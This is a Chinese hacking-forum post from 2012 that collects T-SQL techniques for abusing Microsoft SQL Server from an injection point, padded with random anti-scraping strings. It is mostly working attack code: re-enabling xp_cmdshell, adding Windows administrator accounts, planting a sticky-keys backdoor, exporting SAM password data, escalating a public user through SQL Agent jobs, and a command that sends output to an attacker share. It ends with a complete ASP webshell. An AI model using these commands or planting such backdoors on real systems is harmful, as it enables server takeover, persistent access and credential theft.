找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2204|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号: z* T; S1 \7 w  C, c3 o. f
恢复方法:查询分离器连接后,( E  J9 ]- y5 o
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
" P) c9 B2 h4 R9 o第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
; T7 V( M" y$ b然后按F5键命令执行完毕4 C/ Y) }/ \( m. U/ R3 A* ]
/ L4 o# n( m) H/ d/ h' \
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
2 {1 x1 b4 v$ J# l6 x7 @$ j恢复方法:查询分离器连接后,4 b% t5 c$ O0 x! a- |9 N& `6 e
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
, H& g0 f# P( w4 w第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'9 K$ r7 K, l- t7 O% t
然后按F5键命令执行完毕
: [* c8 S  C3 Y& P3 e( N9 f& r3 W( h4 n. X, [( g
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)/ {2 {) T4 d- b  d. v% V) B2 h
恢复方法:查询分离器连接后,) w( @+ ]2 S9 N6 C# K, r
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
- [% s. y6 o1 `6 s) }第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       ! u# V$ O5 K+ S8 Z& L3 S
然后按F5键命令执行完毕$ k" d8 t2 j4 z3 n. U# N

  F  J5 m! j# x1 h! q4 终极方法.
- t( F. t: O" W# S# d如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
+ R4 n2 r& B5 c4 j6 y查询分离器连接后,
3 F) N+ |! f& \8 M1 [( r6 e, Y2000servser系统:
! g% M- O1 V3 qdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add', f) v- M  z7 ^  K3 t. v6 c# e

+ |' n, p; c% k4 P$ ]3 {' D/ Bdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'& a; o0 W" Y# z. M. n4 D

3 i' c; w0 V  hxp或2003server系统:
7 ?2 g0 Q. J2 ?7 B2 L3 Q3 S" K  \
  ^0 `5 a( w9 J( |9 `# |declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
% K6 S% ]6 [2 e# p' P1 p% F/ H& Y9 d4 F* F
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'2 t5 l& \6 A# j& J, ]% F

9 i# y( {- v' B' ]5 y; r% S& T9 m4 U* g9 V
五个SHIFT
" ?5 H. v: I& B: r+ M) udeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';; v! h' w( U) ^0 Z8 _& R( U$ Q
; }8 y/ f% Z, N2 A$ t+ q
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
# J, R4 E$ E; t* b4 p/ U. Q
! j4 R& J% P" \5 e7 U9 M: I: ]1 I( `xp_cmdshell执行命令另一种方法3 g5 v# Y1 H8 l4 C1 n8 y
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' / ~. A! I0 J! F9 T! ~1 u

) c1 `8 x1 p" F. \, O$ k2 U7 ?判断存储扩展是否存在! o. p% O% E0 V8 J
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'7 t, U+ {  x, @7 W& W0 [, S; o) h' k
返回结果为1就OK
6 A! G- I) E5 J
+ G( \) i7 R+ Y, R8 I+ G7 B: r# g5 v. l* t
上传xplog70.dll恢复xp_cmdshell语句:
9 ~* M# G+ f  A& _; W# y' A! W, asp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
% f" D& e1 O9 L! @* E# i1 Q8 Z0 {
否则上传xplog7.0.dll: @) ]$ U7 D; d8 p% v
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'% D6 Y1 a/ g% I* O9 `8 n
* E) Q  P1 r" r$ b7 M7 ]# f

& @% r9 j3 p* ^% j+ T6 D1 m' I" C
8 Q7 X- p* q# E) W! Q: h首先开启沙盘模式:; }% }3 E( o! J' J+ D
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',18 V  t2 Z) e8 I. a, t
* O! w# q8 ]  f/ L  B
然后利用jet.oledb执行系统命令! c4 R1 E, ?9 |
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')! q; ~3 e# Y* q) m, A! I! \( _
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了# {- n! b* L) Q
) R- o4 F( @7 i- p$ X# m
, h. l* Z* ~( p0 q

. A( B8 X# m+ n恢复过程sp_addextendedproc 如下:
# R. l# ^/ f9 u0 Ecreate procedure sp_addextendedproc --- 1996/08/30 20:13
6 ]0 O1 b7 z8 c2 g9 ^$ d1 O. }& j@functname nvarchar(517),/* (owner.)name of function to call */ # P3 ^; q! o4 f- `  H& U! S
@dllname varchar(255)/* name of DLL containing function */ - k1 X7 {0 c) x2 q
as
' V- @" G! j- W! l; S% v7 ?set implicit_transactions off % E9 L9 X) c) V0 {
if @@trancount > 0
. C* W8 z* K/ r* G  \9 sbegin ( N& d2 e/ t% B/ x  z; D  y
raiserror(15002,-1,-1,'sp_addextendedproc')
9 X% O* G7 {. breturn (1) ' J& i9 U/ Z) C) w5 X
end # d) [+ `) c0 H$ @( a% a1 [7 y; s
dbcc addextendedproc( @functname, @dllname)
; f" W3 [' H- S6 j8 ]return (0) -- sp_addextendedproc
# G4 F9 ]7 L! Q2 DGO : q/ c1 L4 x1 y) j8 P
. L7 P1 N7 j4 @0 S

) e1 J8 ^/ Z* H6 @' W& C2 X3 ~
# d+ G2 F" k( n2 j& B导出管理员密码文件
5 e3 e6 P3 s1 G) T2 R1 h$ g$ S8 Hsa默认可以读sam键.应该。) U7 J- |# h$ ?0 C
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg4 ~; \' Z" x7 J. z8 a9 n
net user administrator test! m9 s% l% v9 P! |" f; `9 g0 F  I
用administrator登陆.+ ?1 s9 {- k2 C( u' s/ J/ x# d8 @! B
用完机器后- k4 s+ e* R6 \) O' c; N# s
reg import c:\test.reg
4 k3 P. h( C) @# Q# g根本不用克隆.2 s* g; L8 B: ^, E8 m) E
找到对应的sid.   J( t* F9 b* S6 T9 B! e' p9 \, ]
# y( P" i7 M# \+ F/ @- Y

1 o& r' d  W, Q. X) k4 s# c8 J; B5 K8 g6 \% w
恢复所有存储过程  I! G+ Y! ~& x- z* ~; a
use master + U' A& R/ `' }  a# C* T* S
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' $ P: U/ F9 L' y6 C7 [# I
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
9 ]9 B6 |  P0 e8 K6 G6 y8 {exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
: f: b+ R/ K! r% `exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 2 n6 o# X/ I# P3 d8 {8 {
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
2 W9 d+ S3 C* S5 i3 b6 rexec sp_addextendedproc sp_OACreate,'odsole70.dll'
0 P3 ~) H1 q5 q* f( v+ iexec sp_addextendedproc sp_OADestroy,'odsole70.dll' 6 q3 u* T: d6 j& j" M3 N: C& q
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 9 V7 Z" p+ B5 t* W
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 1 V# E0 W* J0 d6 P
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' ) X2 R: H6 A3 I0 V2 T+ j: _: J
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
- s8 a1 _& G. f$ Xexec sp_addextendedproc sp_OAStop,'odsole70.dll' - K, W! H+ r; c9 q$ r3 p
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 5 l$ S. Q4 ]6 @0 v4 f  m
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
% J& a+ [. N. p3 G: c9 r/ u& Gexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' ) Y( w) ~6 I, ]3 _) m) `8 k0 K
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
; R# {4 B) g2 k. G! }* Pexec sp_addextendedproc xp_regread,'xpstar.dll'
: N; X% z* h$ N' vexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
) r8 n: F% `' n4 x4 Dexec sp_addextendedproc xp_regwrite,'xpstar.dll' 3 m- r/ [) U% [& e4 l
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'& H; c* D& F. V" a
3 t6 y) @+ N1 Q! G& o# o" D! H8 I. Z

9 V/ V+ n2 b/ }% e! p! R建立读文件的存储过程2 q* G9 C3 z; F4 t, U2 {" W, f- K
Create proc sp_readTextFile @filename sysname5 H2 C- I$ T5 z1 b
as
6 X% u. U  x. Y+ e+ i/ M+ d, f7 ~
7 ?" L4 `9 A! v* B    begin 5 p4 g. S" Y; J
    set nocount on ! M! y; W  h* r- w
    Create table #tempfile (line varchar(8000))
3 `' s1 V5 p/ N$ I0 }0 V. y0 `0 O+ @& a    exec ('bulk insert #tempfile from "' + @filename + '"')/ H. r; r: ]& V
    select * from #tempfile4 I9 t7 |- l' {5 K/ p  z; T. F: ]$ D
    drop table #tempfile" @' B* W+ ]0 T  B5 K& J0 j
End3 j, `4 H- d- P

6 |- _4 k) b0 k! [; _+ ?, c9 Cexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件8 X! b- G$ i  H- Y  J9 o2 B
查看登录用户
$ E# m2 w1 ]0 z( H: \" }' y* iSelect * from sysxlogins
0 g6 G( F8 B; w: E" E% s. c5 E% e5 X( h1 {: G0 }2 z7 B- J7 S! _- o: ~0 a
把文件内容读取到表中
" h% A# X+ r$ E0 p5 GBULK INSERT tmp from "c:\test.txt"
' o- d) f6 A% S! J: P' E* PdElete from 表名 清理表里的内容  J$ z! x: P) s! m0 t8 z3 r! Q- @& z
create table b_test(fn nvarchar(4000));建一个表,字段为fn, P1 T) Q$ v7 i1 S2 X6 v$ a* j
+ p: Y0 k. S0 w+ h' h/ P, K
7 E! Q  r4 H( R4 C- A2 I
加sa用户* ]' y& C* \4 \  q
exec master.dbo.sp_addlogin user,pass;' x3 i. n3 J: b- q) G  C
exec master.dbo.sp_addsrvrolemember user,sysadmin
' t3 F& N* `8 w& |; a0 |# S$ @& i6 K5 D7 p) q3 m

8 o0 J7 P2 U' W" X! |: o
' a$ p! \: l6 h" C读文件代码
+ t% T/ P, o# x3 Q. f' f: \7 pdeclare @o int, @f int, @t int, @ret int
0 I/ B! k  r6 L4 [' \! c+ p1 F% p' Odeclare @line varchar(8000)
0 L* O% I. ]; d# W2 D! H: q) Rexec sp_oacreate 'scripting.filesystemobject', @o out5 ?% n# v0 p. c5 E! A: W
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
. S2 J! t6 b1 u4 R3 z& ~exec @ret = sp_oamethod @f, 'readline', @line out
8 N9 s& \- D4 _4 Mwhile( @ret = 0 )
& i+ b4 I% X% B0 j# ^. x  ebegin; K2 [1 I6 ]/ f0 ?5 R/ t, y
print @line
' I0 P: q/ l) q! R* uexec @ret = sp_oamethod @f, 'readline', @line out
) \: ?( z: ?) U! w3 c6 G  mend4 s* r! Y7 X3 `& t

" x# ~& W7 g/ N( v1 c- y: X/ t1 g5 n" i. p9 d4 D' c& Y4 S. f' F
写文件代码:; R( y4 X% f8 |; |8 [
declare @o int, @f int, @t int, @ret int
5 G# n0 S* G* w1 v! `0 Uexec sp_oacreate 'scripting.filesystemobject', @o out0 e1 J1 w# r6 g" F  z: A
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 10 L3 Q5 a4 s1 S5 n( _
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
9 U4 w+ ~$ K0 J. Z
; x8 D" A7 Q! P7 l
$ A6 v, q! |# E8 M1 X8 x$ ^' R. O. C2 `添加lake2 shell
9 Z, m( a" ]1 lsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
2 `$ v  _' O; e( P: c$ [$ Hsp_dropextendedproc xp_lake2* V/ a  [  x" M7 Q
EXEC xp_lake2 'net user'
' V9 X! v" O! T0 D" B) c: o) }$ J7 b) O+ _
7 D+ p3 Z& M- f6 [* R, T) m
得到硬盘文件信息 # A7 m' B# r7 m& l8 u
--参数说明:目录名,目录深度,是否显示文件
# |- F) V: O: K8 g( _& T' Vexecute master..xp_dirtree 'c:'
' C, p/ b* z0 ^9 `4 F. \0 Texecute master..xp_dirtree 'c:',1
& {5 h( p# p$ {+ u6 O2 G0 `# L' Rexecute master..xp_dirtree 'c:',1,1
* g- U  h6 A% @. t4 z- I, J& i: l& k3 K% f4 ~2 o

) o2 H) K* w" F* Y: Y/ `; M读serv-u配置信息0 h  F- ]) o; v6 Y5 C6 q# ?) b
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'" [2 n' Z% n. o( P% ]& W
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini') }* Q6 ]8 E& \. M  P

( o& w$ d2 E9 L) d* n通过xp_regwrite写SHIFT后门
  i; D5 t. K, |! R9 q% `) fexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
8 _+ m$ k! }9 g  C$ P) k
2 y) Z, ~, P& |! P" b
' t: }: r& x4 j% b7 z2 X# i# I* N! M2 }- K4 C
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';* C$ u6 F- S3 f/ d; B/ T! r- I
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了2 C1 x  m% A) Q8 m. J  O

# c5 N4 S- m" }# J- _# Y! |EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表': L8 R1 P( ]3 C, Q& K2 w' {9 Y
* S$ ?! H# h1 g  N% Q

4 l) `. \. _& D* O. V7 X% i
8 f6 u# R5 a, Asql server 2005下开启xp_cmdshell的办法
6 I- m# R9 f  P6 s) ]! i8 J8 v$ r& l
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;: l$ T# ]8 [0 w' v3 ^" Q

: P5 a. B! K( w$ XSQL2005开启'OPENROWSET'支持的方法:
- ]5 J( R& b4 v- U; U, ~9 Q4 s0 b4 h4 r1 v# V: ?9 |$ Z8 V
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
  W# }3 i7 Z/ ]4 e5 z# Z( @& |" b+ [7 k# Q- S& ?
SQL2005开启'sp_oacreate'支持的方法:
( f; G8 E# G# {6 G" @9 G! q
5 o& A* V# V+ h, m$ F; Fexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;5 h* }7 n  \! r+ r; U

% N, k- J/ n6 K+ u7 t8 d8 v$ g# Y( b  q1 |2 L& h, j( I

/ ]+ b5 j  ^, r
* E  `0 w4 |; y# x3 j3 \% `  X2 @2 q1 T! o4 S5 T1 E7 m
7 G. e% w# t0 c8 E
  A9 K0 G- t. x! l- n! J8 x/ w1 J. @
6 ?6 i. k" b. @7 b  m
4 j$ C' L* V; x3 _# N( l- k: h! ~
- g9 A, O. H8 U9 D3 @! w
0 D( ]* }, t6 f- B4 E, Q, N$ p3 c
( C$ H$ C7 g0 J, S
* t) N: ]" m! @, m* p5 G
# M( B# ^0 N; l2 G) {

; B  U* n6 Y) S4 u  X" n# |+ U; d. u, T

& W9 d) V- a) z, g% r0 T$ N
3 k) C& z, [/ S7 A% A% N
! @5 t/ Z6 A% M& ^  W
1 p7 t9 D1 i0 a# {: D9 F- n6 s& E2 O+ v

1 w! x: U9 l& q2 @5 p4 T  R9 L9 V. ?- P& f. R

% u, J' K, C( Z以下方面不知道能不能成功暂且留下研究哈:
2 O1 L" g" Z9 M2 c1 }4)
% r  ?9 v9 [. w3 y5 E, M" k( Uuse msdb; --这儿不要是master哟
- u1 }# K1 ^; l, {2 N' vexec sp_add_job @job_name= czy82 ;
2 F" J1 d$ @0 kexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
* C8 W& S% \7 `/ Q: ]: x! Dexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
# [1 @- J5 A7 R) ]& Z* |6 `- H0 S6 [exec sp_start_job @job_name= czy82 ;/ g. p0 }0 Y+ t2 s
8 d* Q0 R6 n! w# x0 W1 z) ^
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以2 L5 |) Q' _; Z
执行tsql语句了.
$ K8 C% U% x  t! w对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
; d0 ?# ?0 b3 N$ C1 A第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
( n, H, g. E7 \( W' \# O4 m; W& Qnet start SQLSERVERAGENT0 s: Q* h" Q1 c. K% A

9 Z) _8 \% F' {$ }! X% Z: X# i对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的' E, Z! C5 p% Q# F8 G
USE msdb) I# w7 f$ \) L$ U/ a4 S/ G  n
EXEC sp_add_job @job_name = GetSystemOnSQL ,
( U1 t& X% x$ G8 m% X% N0 n. m  J@enabled = 1,5 W8 J* [/ |4 m2 q( M2 l) [2 B/ d
@description = This will give a low privileged user access to, T; r6 V( t+ j$ T4 i8 e; B3 \
xp_cmdshell ,
, Q" G! k" y) f6 j* S* _; |) ]@delete_level = 1
! S5 j0 d- Y) W/ L4 D  I7 IEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
2 Q0 q7 d& }* h8 W( x2 C; H@step_name = Exec my sql ,
6 R5 X8 f. S* N$ Q0 m; M2 P@subsystem = TSQL ,5 [! b  P$ n! w/ g. f8 m' y- ]* j- m
@command = exec master..xp_execresultset N select exec
% J4 m+ S  ]' m. e: jmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 4 Y, s7 V; U7 r7 E2 X/ ?/ x
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
. \7 s7 |& J6 l1 w@server_name = 你的SQL的服务器名
+ B. B/ J- b% ]* S0 pEXEC sp_start_job @job_name = GetSystemOnSQL
2 k* V6 X, G2 t7 l! Q% J* U% c, J* F& E4 O2 q
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
1 s5 N1 ~$ `, I4 k才让我们可以以public执行xp_cmdshell
. N2 b5 E9 t8 s, R& x5 r- t# k$ v2 I$ f
% a5 e( _2 R# ]( O( K! h5 f/ l5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
: r/ B0 a9 @- s% ~9 r5 a+ ]/ d5 q在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
1 n7 o+ @8 x# A1 _. T* u8 x$ y" [5 x8 l0 R0 L- _& i8 K% S* l. s: p
USE msdb; [& k* |+ @0 `" X7 |* E
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
- D3 I  ~( i5 \: L  p@enabled = 1,
5 ^9 L$ A( i; e4 w4 x. x6 K@description = This will create a file called c:\sqlafc123.txt ,
' \6 f/ l  _. C@delete_level = 1) U9 z9 P* F9 Z4 @* ~
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
: {/ c3 G* Q1 X4 a- d@step_name = SQLAFC ,- @6 ?" x) C* f! F+ Y& Y
@subsystem = TSQL ,
, Q6 j' Y# B- ~* X8 v@command = select hello, this file was created by the SQL Agent. ,
1 p, y/ F; k* N4 H- P& O@output_file_name = c:\sqlafc123.txt * O- @0 y: ?" d; ]
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
4 ]2 |" x7 o; [@server_name = SERVER_NAME
6 H9 j) V$ t6 R) b1 }) qEXEC sp_start_job @job_name = ArbitraryFilecreate
# \$ v( F3 ], S; n
; E7 c2 C' v+ i) j5 }. U: p2 a& T如果subsystem选的是:tsql,在生成的文件的头部有如下内容
0 M4 {" W" R; l8 \6 ]  z) M" U- ?3 e0 B
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19+ q" T7 `) l( Y$ ^- S. p' n* u
----------------------------------------------
* {* U5 q  j- h5 V9 b" ]; _2 [( ahello, this file was created by the SQL Agent.: g4 Q6 ~3 i- x  f* `

7 |& ]9 j/ t5 Y(1 ?????)
" p" `7 D  J( W$ _# @& S
! C# C, U* G2 R$ C5 B2 T. p4 f所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
" v2 k" V. V+ z命令的vbs文件到启动目录!
4 T& R$ b: h8 S9 N' X' Y5 `) ^3 h. ^0 s; P9 U% s9 U
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)) a# s; |* a! q2 M( I* J
关于sp_MScopyscriptfile 看下面的例子. L0 F5 h4 A/ X7 @! _
declare @command varchar(100)
  ^, i2 F- ]3 udeclare @scripfile varchar(200)
, q0 `  U- ^) @9 R+ Qset concat_null_yields_null off ( |: E, @: @% I+ q2 Q# i) x, _
select @command= dir c:\ > "\\attackerip\share\dir.txt" ) T- l5 W( t  G- S. _4 f
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
- l2 j+ P  d+ [$ _  g- W1 z- Nexec sp_MScopyscriptfile @scripfile , 8 ~; q4 `# F2 J# b6 t& ?
4 A6 r7 U6 G6 R/ C4 c
这两个东东都还在测试试哟
$ g  }9 ^& h9 e( [+ ~; U1 a让MSSQL的public用户得到一个本机的web shell
, g# t/ E) v. W7 r/ r3 Z/ Y9 B+ }6 S
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,$ q4 P; M2 _0 ]8 k9 m4 b: a
--@query= select <img src=vbscript:msgbox(now())>
5 u) h% e' ?% f5 d$ W% ?6 Q& R9 n2 ~, G--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> 5 Z: z% c, r) c0 b; g8 @8 `
@query= select 4 T0 Y9 n" Y& N! @3 d. w, W5 \. P" p
<%On Error Resume Next : p/ t$ d' h  Z& v. M' K) ~
Set oscript = Server.createObject("wscript.SHELL")
" `5 k) E* A: m' n* C, Y. x2 FSet oscriptNet = Server.createObject("wscript.NETWORK")
, Y, G' N# b6 pSet oFileSys = Server.createObject("scripting.FileSystemObject")
" r9 t8 X. Q1 S" e$ i( I+ YszCMD = Request.Form(".CMD") , n2 x& {2 g! I* {8 @
If (szCMD <>"")Then # K3 ~8 ~/ ]( u
szTempFile = "C:\" & oFileSys.GetTempName() ) U+ ~" r6 A" w) x# l- D
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) % |+ U' r6 R  K. S7 _7 D
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
! G7 D' u2 @. IEnd If %>
) M% F6 e1 P% [( F& m<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> / c5 V, I+ s0 V, c
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
% l. G7 G0 R! A$ j0 R</FORM><RE> 9 G" s; J4 w7 ~8 ?9 B- t. f( Z
<% If (IsObject(oFile))Then
# A9 c- H! ~5 @0 C& _On Error Resume Next % P# Q1 _: T; E* i" ^+ P, h
Response.Write Server.HTMLEncode(oFile.ReadAll)
3 }% U! k$ M. c, ?8 D) H4 `oFile.Close
: [4 g$ C+ s' sCall oFileSys.deleteFile(szTempFile, True)
! b" U" B0 K* S: \' h, _* A$ SEnd If%>   P6 K5 t: J5 {7 k1 H$ t7 i* X
</BODY></HTML>
9 r+ e+ k/ `; k# H" z8 o9 b; x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表